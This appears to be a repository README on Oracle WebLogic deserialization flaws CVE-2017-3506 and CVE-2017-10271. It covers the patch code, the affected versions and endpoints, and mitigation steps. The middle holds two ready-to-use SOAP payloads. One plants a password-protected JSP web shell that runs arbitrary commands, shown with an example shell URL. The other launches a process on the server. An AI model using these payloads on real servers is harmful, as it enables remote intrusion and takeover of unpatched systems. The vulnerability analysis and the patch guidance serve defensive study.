lonehand/oracle-weblogic-cve-2017-10271-master
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
Earlier, hackers exploited the WebLogic WLS component vulnerability to launch large-scale remote attacks on enterprise servers. Many enterprise servers were compromised, and the number of attacked enterprises showed a clear upward trend, requiring high attention. Among them, CVE-2017-3506 is a remote code execution vulnerability exploiting the WLS component in Oracle WebLogic. It is a wild exploit vulnerability without public details, and many enterprises have not yet installed the patch in a timely manner. Oracle officially released the patch for this vulnerability in April 2017.
CVE-2017-3506 patch description:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
It simply adds a validate function before deserialization; if qName equals "object", it throws an exception and terminates. This is simple and brute-force. However, such a blacklist-based fix is hard to be fully complete. Worth pondering...
The exploitation method for this vulnerability is relatively simple. Attackers only need to send a specially crafted HTTP request to gain access to the target server, causing severe damage. Since the vulnerability is relatively new, many hosts have not yet applied the relevant patches. It is expected that after this incident, the number of attacks may surge, and a large number of new hosts could be compromised.
Oracle's official April patch did not completely fix CVE-2017-3506; the patch can be bypassed, allowing remote command execution to still occur. CVE-2017-10271, the bypass vulnerability, was fixed in the official October patch.
CVE-2017-10271 (wls-wsat Remote Command Execution Bypass Vulnerability)
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.1.0
Oracle WebLogic Server 12.2.1.2.0
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
exploit
CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami
exploit
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
exploit
exploit
exploit
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
Implement access control for resources accessing wls-wsat.
Temporary solution
Without affecting business operations, based on the actual environment path, delete the following war packages and directories under the WebLogic program.
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Restart the WebLogic service or system, and confirm that the following link returns 404:
http://ip:port/wls-wsat/CoordinatorPortType11